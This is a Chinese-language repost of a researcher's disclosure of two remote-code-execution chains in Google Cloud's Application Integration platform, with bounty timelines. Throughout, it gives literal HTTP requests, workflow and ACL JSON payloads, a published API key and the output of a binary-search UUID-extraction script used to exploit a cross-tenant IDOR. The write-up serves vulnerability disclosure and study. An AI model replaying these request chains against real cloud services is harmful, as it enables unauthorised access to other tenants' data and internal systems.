StubZero:GoogleCloud生产环境RCE漏洞,奖金148,337美元

admin 2026-05-27 05:41:13 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细披露了GoogleCloud生产环境中一个从调试端点信息泄露演变为完整RCE的攻击链。研究员通过cloudcrmipfrontend-pa.googleapis.com端点泄露内部protobuf定义,利用StubbyRPC机制绕过安全策略,最终通过GenericStubbyTypedTask实现远程代码执行。该漏洞被评定为P0/S0最高级别,获得148,337美元奖金,揭示了Google安全模型中Stubby调用链的核心风险。 综合评分: 92 文章分类: 漏洞分析,WEB安全,红队,云安全,实战经验


cover_image

StubZero:Google Cloud生产环境RCE漏洞,奖金148,337美元

A译 A译

黑白之道

2026年5月25日 07:55 江西

在小说阅读器读本章

去阅读

导语:一个调试端点的信息泄露,最终演变为Google Cloud生产环境的完整远程代码执行攻击链。三天后,类似漏洞再次出现。这位研究员用两次报告、累计148,337美元的奖金,证明了Stubby RPC调用链在Google安全模型中的核心地位——以及一旦被攻破意味着什么。


一、起点:一个调试端点的信息泄露

故事的起因,是研究员的一个自动化模糊测试工具对 API 端点 cloudcrmipfrontend-pa.googleapis.com 发出了警报——该 API 对若干可疑端点返回了 200 状态码。深入检查后发现,这个 API 存在多个公开的调试端点。

进一步探测发现,/v1/integrationPlatform:getProtoDefinition 这个端点可以返回 Google 内部源代码仓库 google3 中任意 protobuf 消息的定义——甚至包括 YouTube 这类完全不相关的服务。

请求示例

GET /v1/integrationPlatform:getProtoDefinition?fullName=youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext&isEnum=false HTTP/2
Host: cloudcrmipfrontend-pa.clients6.google.com
Cookie: <已脱敏>
Authorization: SAPISIDHASH <已脱敏>
Origin: https://console.cloud.google.com
X-Goog-Api-Key: AIzaSyBmtG6W8gM5Y6UxzUizxtaERwjmQZ0CCYE

返回结果(部分):

{
&nbsp;&nbsp;"protoDescriptor":{
&nbsp; &nbsp;&nbsp;"name":"InnerTubeContext",
&nbsp; &nbsp;&nbsp;"field":[
&nbsp; &nbsp; &nbsp;&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":"client",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"number":1,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"label":"LABEL_OPTIONAL",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"type":"TYPE_MESSAGE",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"typeName":".youtube.api.pfiinnertube.YoutubeApiInnertube.ClientInfo",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"jsonName":"client"
&nbsp; &nbsp; &nbsp;&nbsp;},
&nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp;&nbsp;]
}
}

这意味着:在Google这个黑盒目标上,几乎所有 API 的请求体/响应体结构都可以被枚举出来。这是一个巨大的信息泄露。


二、”req2proto即服务”的诞生

研究员之前曾开发过一个工具 req2proto,用于从请求体反推 protobuf 定义。但这个工具有局限性:只能找到请求体的 proto,无法获取响应体,且依赖 API 支持 JSPB(application/json+protobuf),而大多数 API 并不支持。

现在,这个端点就是”req2proto即服务”(req2proto as a Service™)——一个托管版的 req2proto,功能强大得多。


三、泄露内部工作流执行队列

在没有查询参数的情况下,该端点只返回 INVALID_ARGUMENT 错误。根据以往经验,这类 filter 参数通常支持 AIP-160 规定的任意过滤语法。

尝试 client_id>"123" 作为 filter:

{
&nbsp;&nbsp;"error":&nbsp;{
&nbsp; &nbsp;&nbsp;"code":&nbsp;500,
&nbsp; &nbsp;&nbsp;"message":&nbsp;"Failed to convert server response to JSON",
&nbsp; &nbsp;&nbsp;"status":&nbsp;"INTERNAL"
&nbsp;&nbsp;}
}

看起来后端给的响应没有 JSON 映射。Google API 支持通过标准参数 ?alt= 更改响应格式,?alt=proto 会返回 protobuf 格式的原始输出。

由于使用的是 Google 自有的第一方认证(Cookie + Authorization header),请求必须发往 cloudcrmipfrontend-pa.clients6.google.com 而非 cloudcrmipfrontend-pa.googleapis.com,但 Google 不允许 raw proto 响应发往 *.google.com:

Request unsafe for browser client domain: cloudcrmipfrontend-pa.clients6.google.com

解决方法是使用请求头 X-Goog-Encode-Response-If-Executable: base64,将响应转为 base64 编码。

通过 proto 定义泄露拿到的 schema,成功解码了返回的 protobuf,发现这是某种内部工作流执行队列,包含从 Spanner 同步数据到 Salesforce 的工作流:

{
&nbsp;&nbsp;"queue_items":[
&nbsp; &nbsp;&nbsp;{
&nbsp; &nbsp; &nbsp;&nbsp;"queued_request":{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"queued_request_id":"75a885e2-c611-43f7-b4e2-ae0d87bae789",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"client_id":"default",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"workflow_name":"WriteToSfdc",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"priority":"CRITICAL",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"received_timestamp":1763057385562,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"event_execution_info_id":"615cd9a9-9c0e-46ec-90df-91ee42ec9c37"
&nbsp; &nbsp; &nbsp;&nbsp;},
&nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp; &nbsp;&nbsp;"type_url":"type.googleapis.com/enterprise.crm.datalayer.WriteToSfdcRequest",
&nbsp; &nbsp; &nbsp;&nbsp;"sfdc_object":{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"vector_account":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"id":"001Kf00000wjeK3IAI",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"due_diligence__c":"Pending",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;}
&nbsp; &nbsp; &nbsp;&nbsp;}
&nbsp; &nbsp;&nbsp;}
]
}

就在报告提交后几小时,该漏洞被标记为 P0/S0,并获得 🎉 Nice catch!。


四、Stubby RPC与Google安全模型

在深入分析前,需要理解 Google 的 RPC 基础设施。根据 Google SRE手册:

Google 所有服务都使用名为 Stubby 的远程过程调用(RPC)基础设施进行通信;开源版本 gRPC 已对外发布。

Google 的安全模型中,每个 borglet 服务都有独立的身份。当你向 *.googleapis.com 端点发送请求时,前端服务使用自己的 prod 服务身份向后端服务发起 Stubby 调用,同时在安全票据中携带你的最终用户上下文。如果票据包含你的 Gaia 用户ID,后端服务会以该用户身份对请求进行授权。

关键安全机制

Without authentication (anonymous)
com.google.apps.framework.auth.IamPermissionDeniedException:
&nbsp; IAM authority does not have the permission 'cloudprivatecatalog.targets.get'
&nbsp; required for action PrivateCatalogV1Beta1-SearchProducts
&nbsp; on resource ''.
&nbsp; ...
&nbsp; Security Context:
&nbsp; &nbsp; ...
&nbsp; &nbsp; user = anonymous
&nbsp; &nbsp; creds = EndUserCreds
&nbsp; &nbsp; ...
&nbsp; &nbsp; peer =
&nbsp; &nbsp; &nbsp; protocol = loas
&nbsp; &nbsp; &nbsp; level = strong_privacy_and_integrity
&nbsp; &nbsp; &nbsp; host = jxcbu6.prod.google.com
&nbsp; &nbsp; &nbsp; role = cloud-commerce-catalog

含第一方认证时(Gaia用户)

With first-party authentication (Gaia user)
&nbsp; ...
&nbsp; Security Context:
&nbsp; &nbsp; ...
&nbsp; &nbsp; user = gaiauser/0xaa22527678
&nbsp; &nbsp; creds = EndUserCreds
&nbsp; &nbsp; ...
&nbsp; &nbsp; gaiaId = 640201889743
&nbsp; &nbsp; security_realm = campus-dls

注意 peer 块显示的是 prod 服务身份进行的内部 Stubby 调用。区别在于最终用户上下文:第一个票据是 ANONYMOUS,第二个携带 GAIA_MINT 凭证(当你使用 cookie 或 bearer 认证时,会被转换为标准 UberMint token)。

如果攻击者能以集成平台的 prod 服务身份执行任意 Stubby 查询,就可以访问大量 RPC——从敏感用户数据到代码执行,取决于 prod 用户的权限范围。因此,Google 将此类漏洞视为远程代码执行。

Stubby访问控制机制

Google 每个 Stubby 服务都定义了 RpcSecurityPolicy,包含按方法的允许列表。例如 Cloud SQL Speckle Boss 进程的策略:

mapping&nbsp;{
&nbsp; rpc_method:"/SaasActuation.UpdateInstance"
&nbsp; rpc_method:"/MaintenancePolicyService.CreateMaintenancePolicy"
&nbsp; ...
&nbsp; authentication_policy&nbsp;{
&nbsp; &nbsp; creds_policy&nbsp;{
&nbsp; &nbsp; &nbsp; rules&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; permissions:"auth.creds.useProdUserEUC"
&nbsp; &nbsp; &nbsp; &nbsp; action:&nbsp;ALLOW
&nbsp; &nbsp; &nbsp; &nbsp; in:"mdb:zamm-exe-3-cloud-sql--default-policy"
&nbsp; &nbsp; &nbsp; &nbsp; in:"user:[email protected]"
&nbsp; &nbsp; &nbsp;&nbsp;}
&nbsp; &nbsp; &nbsp; rules&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; permissions:"auth.creds.useLOAS"
&nbsp; &nbsp; &nbsp; &nbsp; action:&nbsp;ALLOW
&nbsp; &nbsp; &nbsp; &nbsp; in:"allUsers"
&nbsp; &nbsp; &nbsp;&nbsp;}
&nbsp; &nbsp;&nbsp;}
}
&nbsp; authorization_mode:&nbsp;MANUAL_IAM
&nbsp; permission_to_check:"cloudsql.instances.rollout"
}
  • auth.creds.useLOAS 表示”任何 borglet 都可以用自己的 LOAS 身份调用”
  • auth.creds.useProdUserEUC 表示”只有特定的 MDB 组才能将 Gaia 最终用户身份转发到调用中”

即便拿到了 Stubby 调用的原始能力,也不意味着能调用所有 RPC——只有那些 RpcSecurityPolicy 允许你的对等身份的 RPC 才能被访问。


五、从信息泄露到RCE的完整攻击链

5.1 创建工作流

首次尝试创建工作流时收到 INVALID_ARGUMENT 错误:

{
&nbsp;&nbsp;"error":&nbsp;{
&nbsp; &nbsp;&nbsp;"code":&nbsp;400,
&nbsp; &nbsp;&nbsp;"message":&nbsp;"Request contains an invalid argument.",
&nbsp; &nbsp;&nbsp;"status":&nbsp;"INVALID_ARGUMENT"
&nbsp;&nbsp;}
}

推测是缺少必要参数,可能是 clientId。之前从 quota queue 泄露的响应中有 "client_id": "default",于是尝试:

{
&nbsp;&nbsp;"workflow":{
&nbsp; &nbsp;&nbsp;"name":"my-new-workflow-test",
&nbsp; &nbsp;&nbsp;"origin":"UI",
&nbsp; &nbsp;&nbsp;"clientId":"default",
&nbsp; &nbsp;&nbsp;"triggerConfigs":[],
&nbsp; &nbsp;&nbsp;"taskConfigs":[]
},
"isNewWorkflow":true
}

成功!返回了工作流ID。但要运行工作流,必须先发布它,而发布时遇到了权限限制:

{
&nbsp;&nbsp;"error":&nbsp;{
&nbsp; &nbsp;&nbsp;"code":&nbsp;403,
&nbsp; &nbsp;&nbsp;"message":&nbsp;"Publisher [email protected] cannot be the same as the last editor...",
&nbsp; &nbsp;&nbsp;"status":&nbsp;"PERMISSION_DENIED"
&nbsp;&nbsp;}
}

需要另一个用户来发布。由于无法通过 ACL 端点添加其他账号,一度陷入僵局。

5.2 Discord上的转机

一个多月后,研究员在 Discord 群聊中半开玩笑地提到自己找到了一个 Google 内部泄露 protobuf 定义的漏洞。

这时,一位名为 shrugged 的研究员回复说他们也在研究同一个 API,并且注意到了 GenericStubbyTypedTask 这个潜在 RCE 向量,但苦于没有有效的 client_id 来创建初始工作流草案。

而研究员这边有 client_id: "default",却在发布步骤卡住了。双方交换了各自的信息后,攻击链被迅速拼完。

5.3 绕过修复:寻找对应的”替身”端点

Google 已经根据初次报告部署了修复,所以很多原始端点都返回 PERMISSION_DENIED。但研究员注意到:很多端点在不同的服务名下存在 1:1 的”替身”:

| 原始端点(已修复) | 替身端点 | | — | — | | /v1/integrationPlatform:getProtoDefinition | /v1/integrationPlatform/workflowsupport:getProtoDefinition | | /v1/integrationPlatform:runWorkflow | /v1/integrationPlatform/workflowexecution:runWorkflow | | /v1/integrationPlatform:setAcl | /v1/integrationPlatform/auth:setAcl |

但 createDraftWorkflow 找不到替身,仍然返回 PERMISSION_DENIED。

奇怪的是,shrugged 用同样的请求却能成功。答案揭晓:修复没有完全同步到所有负载均衡的后端。通过反复发送同一请求,可以可靠地路由到仍然允许该操作的后端。

5.4 GenericStubbyTypedTaskV2的发现

GenericStubbyTypedTask 这个任务名称实际上并不存在。从 /v1/integrationPlatform:listTaskEntities 返回的数据中只看到 IO_TEMPLATE 类型的任务。

从 Application Integration 的 JS 代码中,找到了确切的任务名称:GenericStubbyTypedTaskV2,甚至配有独立的图标:

["GenericStubbyTypedTaskV2","http://gstatic.com/enterprise/crm/eventbus/images/icons/blue/stubby_48px_blue.svg"],

尝试配置 GenericStubbyTypedTask 时收到错误,显示缺少必需字段 serverSpec

{
&nbsp;&nbsp;"error":&nbsp;{
&nbsp; &nbsp;&nbsp;"code":&nbsp;400,
&nbsp; &nbsp;&nbsp;"message":&nbsp;"'Required input key serverSpec not present in task GenericStubbyTypedTaskImpl, task number 1.'",
&nbsp; &nbsp;&nbsp;"status":&nbsp;"INVALID_ARGUMENT"
&nbsp;&nbsp;}
}

逐一尝试后,确认了三个必需参数:serverSpecserviceName 和 serviceMethod。参考 Ezequiel Pereira 的 protobuf 仓库,配合从另一个 discovery document 中泄露的 GSLB 地址,配置任务调用 gslb:alkali-base 上的 /ServerStatus.GetServices

{"workflow": {"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19", "name": "retest-test123", "taskConfigs": [{"taskName": "GenericStubbyTypedTaskV2", "taskNumber": "1", "parameters": {"response": {"key": "response", "value": {"stringValue": "$response$"}, "dataType": "STRING_VALUE"}, "serverSpec": {"key": "serverSpec", "value": {"stringValue": "gslb:alkali-base"}, "dataType": "STRING_VALUE"}, "serviceName": {"key": "serviceName", "value": {"stringValue": "ServerStatus"}, "dataType": "STRING_VALUE"}, "serviceMethod": {"key": "serviceMethod", "value": {"stringValue": "GetServices"}, "dataType": "STRING_VALUE"}}, ...}], ...}

成功!返回了 Alkali 内部框架的服务列表:

{
&nbsp;&nbsp;"protoValue":{
&nbsp; &nbsp;&nbsp;"@type":"type.googleapis.com/rpc.ServiceList",
&nbsp; &nbsp;&nbsp;"service":[
&nbsp; &nbsp; &nbsp;&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":"AlkaliBaseAccountService",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"descriptor":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"filename":"google/internal/alkali/base/v1/alkali_base_account_service.proto",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"method":[
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"name":"ListAccounts",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"argumentType":"google.internal.alkali.base.v1.ListAccountsRequest",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"resultType":"google.internal.alkali.base.v1.ListAccountsResponse",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;}
&nbsp; &nbsp; &nbsp;&nbsp;}
&nbsp; &nbsp;&nbsp;]
}
}

5.5 绕过发布权限检查

之前 ACL 问题导致无法发布。shrugged 发现可以通过更新 IP_EVENTBUS_WORKFLOWS 的 ACL,使用两个攻击者控制的 Google 账户的混淆 Gaia ID 来绕过:

{
&nbsp;&nbsp;"resourceInfo":{
&nbsp; &nbsp;&nbsp;"resource":"IP_EVENTBUS_WORKFLOWS",
&nbsp; &nbsp;&nbsp;"id":"retest-test123"
},
"acl":{
&nbsp; &nbsp;&nbsp;"entries":[
&nbsp; &nbsp; &nbsp;&nbsp;{"scope":{"obfuscatedGaiaId":"100029910836469267942"},"role":105},
&nbsp; &nbsp; &nbsp;&nbsp;{"scope":{"obfuscatedGaiaId":"113728935872649341310"},"role":105}
&nbsp; &nbsp;&nbsp;]
}
}

第一步,使用第一个攻击者 Google 账户切换发布请求状态:

POST /v1/integrationPlatform/workflowdeployment:toggleRequestToPublishWorkflow
{"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19"}

第二步,使用第二个攻击者账户最终发布工作流:

POST /v1/integrationPlatform/workflowdeployment:publishWorkflow
{"workflowId": "f91833bf-eacb-43ac-8490-099fef977e19"}

RCE 攻击链完成

5.6 时间线(第一次RCE)

| 日期 | 事件 | | — | — | | 2025-12-01 | 初次报告发送给 Google | | 2025-12-01 | Google 将报告标记为 P0/S0 | | 2025-12-01 | 🎉 Nice catch! | | 2026-01-12 | 向 Google 安全团队告知 RCE 升级 | | 2026-01-12 | 附带 RCE PoC 更新报告 | | 2026-01-12 | Google 提升报告级别 | | 2026-01-16 | 评审团颁发 $60,000。理由:报告质量卓越,漏洞类别为”Google Cloud 生产环境渗透”,属于无受害者交互的漏洞,默认 Google Cloud 产品 |


六、三个月后:第二次RCE

你以为故事结束了?没那么简单。三个月后,自动化模糊测试工具再次发来警报——这次是公开的 Application Integration 产品 API 中存在多个 IDOR(不安全直接对象引用)。

6.1 跨租户IDOR漏洞

整个 API 中,可以用自己项目 ID 作为 URL,但引用其他人的 UUID:

GET /v1/projects/<your-project>/locations/us-central1/integrations/anythinghere/versions/<victim-uuid>
Host: integrations.googleapis.com
Authorization: Bearer <redacted>

API 会愉快地返回受害者的资源,因为认证检查是对项目 ID 做的(你对自己的项目有权限),但没有检查该 ID 是否实际绑定到你的项目。

但这个漏洞本身影响有限,因为使用的是 UUIDv4,搜索空间达到 10^36 量级,无法有效暴力枚举。需要找到一种方法泄露受害者的资源 UUID。

6.2 测试用例功能的跨项目泄露

研究员发现了一个”测试用例”功能。当你查看测试用例在浏览器中的加载方式时,浏览器发送的请求类似:

POST /$rpc/google.cloud.integrations.v1alpha.TestCases/ListTestCases
Host: us-central1-integrations.clients6.google.com
Content-Type: application/x-protobuf

解码后的请求 payload:

{
&nbsp;&nbsp;"1":&nbsp;"projects/eastern-camp-489414-j3/locations/us-central1/integrations/RestTaskTest/versions/631a0566-02fc-4dce-b319-25e2c68168f4",
&nbsp;&nbsp;"2":&nbsp;"workflow_id = 631a0566-02fc-4dce-b319-25e2c68168f4",
&nbsp;&nbsp;"6":&nbsp;{"1":&nbsp;["name",&nbsp;"display_name",&nbsp;"update_time",&nbsp;"client_id"]}
}

字段1是父资源(我的项目,我的版本 UUID),字段6是响应字段掩码,字段2是某种 filter。如果省略字段2和6呢?返回了来自所有其他 GCP 项目的测试用例!

{
&nbsp;&nbsp;"testCases":[
&nbsp; &nbsp;&nbsp;{
&nbsp; &nbsp; &nbsp;&nbsp;"name":"projects/331540621401/locations/us-central1/integrations/my-draft-integration/versions/631a0566-02fc-4dce-b319-25e2c68168f4/testCases/b25fb963-792c-419d-a98b-eb930b2a29e3",
&nbsp; &nbsp; &nbsp;&nbsp;"displayName":"test",
&nbsp; &nbsp; &nbsp;&nbsp;"triggerId":"api_trigger/AI_bebbia_CreateWOSubs_API_1",
&nbsp; &nbsp; &nbsp;&nbsp;"creatorEmail":"[email protected]",
&nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp;&nbsp;}
]
}

注意,每个结果的 versions/... 段都是同一个 UUID:631a0566-02fc-4dce-b319-25e2c68168f4——这是研究员自己的版本 UUID。API 只是把它原样反射回每个测试用例的 name 中,即使这些测试用例属于完全不同的项目和集成。

虽然现在有了所有 GCP 项目中的每个测试用例 ID,连同集成名称和创建者邮箱,但实际需要的受害者版本 UUID 并不在响应中。

6.3 二进制搜索提取UUID

但测试用例 ID 本身已经足够造成真实影响了。Application Integration 暴露了一个 :executeTest 端点,可以通过测试用例 ID 执行任意测试用例,而不需要受害者的真实版本 UUID

POST /v1/projects/<your-project>/locations/us-central1/integrations/x/versions/-/testCases/035c64d6-ea04-436d-8674-862f51191953:executeTest
Host: integrations.googleapis.com
Authorization: Bearer <redacted>
Content-Length: 0

真正的目标是利用 IDOR 访问受害者的完整集成,需要真实的版本 UUID。

灵光一现:filter 参数(字段2)支持比较运算符如 =。如果也支持 > 和 <= 呢?可以锚定一个已知的测试用例 ID,然后对 workflow_id 字段逐个十六进制字符进行二进制搜索,直到重建完整 UUID:

id = "<known-tc-uuid>" AND workflow_id > "<low>" AND workflow_id <= "<high>"

用 Claude 写了一个 PoC,一次成功:

$ python extract_by_id.py --token "<redacted>" --project 273897706296 --location "us-central1" --tc-id "60413427-4d07-4c36-bce0-66cfcdd81879"
Test case: 60413427-4d07-4c36-bce0-66cfcdd81879
Parent: projects/273897706296/locations/us-central1/integrations/x/versions/-

Verified: target found. Starting binary search...

&nbsp;[ 4/32] fb1d0000-0000-0000-0000-000000000000 (16 reqs)
&nbsp;[ 8/32] fb1dc5f3-0000-0000-0000-000000000000 (32 reqs)
&nbsp;[12/32] fb1dc5f3-0380-0000-0000-000000000000 (48 reqs)
&nbsp;[16/32] fb1dc5f3-0380-491c-0000-000000000000 (64 reqs)
&nbsp;[20/32] fb1dc5f3-0380-491c-af90-000000000000 (80 reqs)
&nbsp;[24/32] fb1dc5f3-0380-491c-af90-5a1400000000 (96 reqs)
&nbsp;[28/32] fb1dc5f3-0380-491c-af90-5a141aa00000 (112 reqs)
&nbsp;[32/32] fb1dc5f3-0380-491c-af90-5a141aa02f56 (128 reqs)

workflow_id: fb1dc5f3-0380-491c-af90-5a141aa02f56
Total requests: 128

现在拿到了受害者的实际集成版本 UUID。将它链接到 GetIntegrationVersion IDOR:

GET /v1/projects/<your-project>/locations/us-central1/integrations/x/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56
Host: integrations.googleapis.com
Authorization: Bearer <redacted>

返回了属于不同项目的完整集成,包括每个触发器配置、任务配置、参数绑定和创建者邮箱:

{
&nbsp;&nbsp;"name":"projects/<your-project>/locations/us-central1/integrations/TestCasePOC5/versions/fb1dc5f3-0380-491c-af90-5a141aa02f56",
"state":"DRAFT",
"triggerConfigs":[
&nbsp; &nbsp;&nbsp;{
&nbsp; &nbsp; &nbsp;&nbsp;"label":"API Trigger",
&nbsp; &nbsp; &nbsp;&nbsp;"triggerType":"API",
&nbsp; &nbsp; &nbsp;&nbsp;"triggerId":"api_trigger/TestCasePOC5_API_1"
&nbsp; &nbsp;&nbsp;}
],
"taskConfigs":[
&nbsp; &nbsp;&nbsp;{
&nbsp; &nbsp; &nbsp;&nbsp;"task":"GenericRestV2Task",
&nbsp; &nbsp; &nbsp;&nbsp;"displayName":"Call REST Endpoint",
&nbsp; &nbsp; &nbsp;&nbsp;"parameters":{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"url":{"key":"url","value":{"stringValue":"$url$"}},
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"httpMethod":{"key":"httpMethod","value":{"stringValue":"POST"}},
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"authConfigName":{"key":"authConfigName","value":{"stringValue":"authprofiletest"}}
&nbsp; &nbsp; &nbsp;&nbsp;}
&nbsp; &nbsp;&nbsp;}
],
"integrationParameters":[
&nbsp; &nbsp;&nbsp;{"key":"url","dataType":"STRING_VALUE","defaultValue":{"stringValue":"https://example.com"}}
],
"lastModifierEmail":"[email protected]",
"createTime":"2026-03-22T11:10:30.087Z"
}

从之前测试用例泄露的数据中,大量 creatorEmail 字段以 @google.com 结尾。这意味着很多 Google 内部团队也在这个平台上运行自己的集成。如果其中一些内部集成已经配置了 GenericStubbyTypedTaskV2(或其他内部专用任务如 PythonTask、CreateBuganizerIssueTask 等),这条跨租户攻击链的影响将变得更加严重。

6.4 配置内部任务类型

研究员尝试创建一个包含内部任务类型的集成:

POST /v1/projects/273897706296/locations/us-central1/integrations/ExampleTest1234/versions
Host: integrations.googleapis.com
Authorization: Bearer <redacted>
{
&nbsp;&nbsp;"taskConfigsInternal":[
&nbsp; &nbsp;&nbsp;{
&nbsp; &nbsp; &nbsp;&nbsp;"taskNumber":"1",
&nbsp; &nbsp; &nbsp;&nbsp;"taskName":"PythonTask",
&nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp; &nbsp;&nbsp;"taskEntity":{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"uiConfig":{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"taskUiModuleConfigs":[
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"moduleId":"RPC_TYPED"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;}
&nbsp; &nbsp; &nbsp;&nbsp;},
&nbsp; &nbsp; &nbsp;&nbsp;"taskType":"ASIS_TEMPLATE",
&nbsp; &nbsp; &nbsp; ...
&nbsp; &nbsp;&nbsp;}
],
&nbsp; ...
}

创建居然成功了。但执行工作流时超时:

Execution timeout, cancelled graph execution. The default timeout is 2min for sync execution...

但有趣的是,配置 PythonTask 后,创建测试用例并执行测试用例时,收到了一个可疑的错误:

{
&nbsp;&nbsp;"1":&nbsp;9,
&nbsp;&nbsp;"2":&nbsp;"java.io.IOException: No space left on device"
}

这是来自执行后端的真实异常,不是超时。测试用例功能运行的代码路径足够深入,可以因实际的磁盘 I/O 失败而崩溃。用 GenericStubbyTypedTaskV2 做同样的尝试,得到了同样可疑但不太有用的响应:

Failed to execute test case. Error: Unknown Error.

检查工作流执行日志时,真正的错误浮出水面:

{
&nbsp;&nbsp;"message":&nbsp;"com.google.security.authentication.common.CredentialsUnsupportedException: UberMint verification is disabled. You can enable it in AuthenticationMethods; RpcSecurityPolicy http://rpcsp/p/4aPF9XD3vQ_2KYxu2J59zxrLEzDa2CDMRzIYnrADC4w",
&nbsp;&nbsp;"code":&nbsp;500
}

这非常可疑。通过以下方式可以拉取完整的堆栈跟踪:

GET /v1/projects/<project>/locations/us-west1/integrations/ExampleTest1234:1/executions/id:download
Host: integrations.googleapis.com

堆栈跟踪清楚地表明,变量被直接插入到后端的 ExecuteStubbyCallRequest 中。根据堆栈跟踪推测,后端代码大致如下:

GenericStubbyTypedTaskV2.buildRequest():
&nbsp; line 219: setServerAddress(serverSpec) → ExecuteStubbyCallRequest.java:1123
&nbsp; line 220: setServiceName(serviceName) → ExecuteStubbyCallRequest.java:1219
&nbsp; line 221: setMethodName(serviceMethod) → ExecuteStubbyCallRequest.java:1313
&nbsp; ...

6.5 时间线(第二次RCE)

| 日期 | 事件 | | — | — | | 2026-03-21 | 初次报告发送给 Google | | 2026-03-23 | Google 将报告标记为 P1/S1 | | 2026-03-23 | 向 Google 安全团队告知 RCE 升级 | | 2026-03-23 | 🎉 Nice catch!,报告更新为 P0/S0 | | 2026-04-28 | 评审团颁发 $75,000。理由:漏洞类别为”Google Cloud 生产环境渗透”,无受害者交互的漏洞,默认 Google Cloud 产品 | | 2026-05-06 | 告知 Google 的 GetIntegrationVersion RPC 仍然存在漏洞 | | 2026-05-08 | 评审团颁发额外 $13,337。理由:漏洞类别为”单服务权限提升 – 写入”,无受害者交互的漏洞,默认 Google Cloud 产品 |


七、漏洞奖金结构解析

根据 Google Cloud VRP 表格,基础 RCE 奖金大致分为三个档次:

| 档次 | 描述 | 基础奖金 | | — | — | — | | 第一档 | 权限相对较低的生产用户访问 | $50,000 | | 第二档 | 权限较高的生产用户访问 | $75,000 | | 第三档 | Google Cloud 管理员权限 | $100,000 |

实际落在哪一档,完全取决于被攻破的 prod 身份能直接访问多少生产环境范围。考虑到从生产环境访问到的庞大攻击面,从任何初始访问都极有可能实现权限提升。

Google 的内部调查发现了比研究员展示的更多影响,最终这笔奖励落在了 $75,000 档次。

原文链接: https://brutecat.com/articles/google-cloud-rce/


版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。


👇 点击阅读原文,访问我的网站



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:黑白之道 A译 A译《StubZero:Google Cloud生产环境RCE漏洞,奖金148,337美元》

工具|JsRpc 网络安全文章

工具|JsRpc

文章总结: JsRpc是一款用于远程调用浏览器的安全研究工具,支持通过浏览器执行远程指令,适用于渗透测试与安全评估场景。项目开源地址为https://githu
评论:0   参与:  0